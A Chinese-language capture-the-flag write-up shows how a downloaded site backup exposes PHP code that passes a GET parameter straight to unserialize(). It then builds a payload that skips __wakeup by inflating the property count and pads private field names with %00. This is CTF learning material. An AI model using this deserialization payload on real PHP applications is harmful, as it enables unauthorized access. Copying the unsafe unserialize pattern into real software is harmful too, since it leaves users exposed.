1.网站备份
进入页面提示我们网站有备份可以拿源码。御剑扫一下扫到了www.zip
2.查看代码
1.flag.php文件
下载了源码点开看看,看到flag文件,点开看看。
拿去试试
好的,果然不行,再去看看别的代码。
2.index.php文件
通过查看index.php发现一些关键代码。
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
看到了包含了class.php文件, get参数select,反序化函数unserialize()。
3.class.php文件
那么继续看看class.php。
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){//魔术方法调用把username改变变
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;//当username='admin',password=100时得到flag
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
3.反序化
通过代码的审计我们得到的思路是通过,class.php文件的代码将usernam=‘admin’,password=100序列化,再通过select传递参数给index.php经过反序化输出得到满足判断函数的参(usernam=‘admin’,password=100)最后输出flag。
1.序列化
运行代码得到序列化参数。
O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
得到序列化参数后,class.php会调用__wakeup()魔术方法将username重新赋值,但是这样我们就不能符合输出flag的条件了,所以我们要绕过__wakeup()的执行,直接执行下一步。这里我们需要利用到反序化的一个特点。
在反序列化时,当前属性个数大于实际属性个数时,就会跳过__wakeup(),即把Name后面的数字2该为大于2的数字
我们得到payload:O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
得到这个我们就能得到flag了吗,不我们还差一步。因为我们发现username,与password是private声明的变量,是类里面的私有变量。这里我们又要用到另一个特点
因为username和password是私有变量,变量中的类名前后会有空白符,而复制的时候会丢失,所以要加上%00因此私有字段的字段名在序列化的时候,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度
最后我们得到了payload:O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
成功拿下flag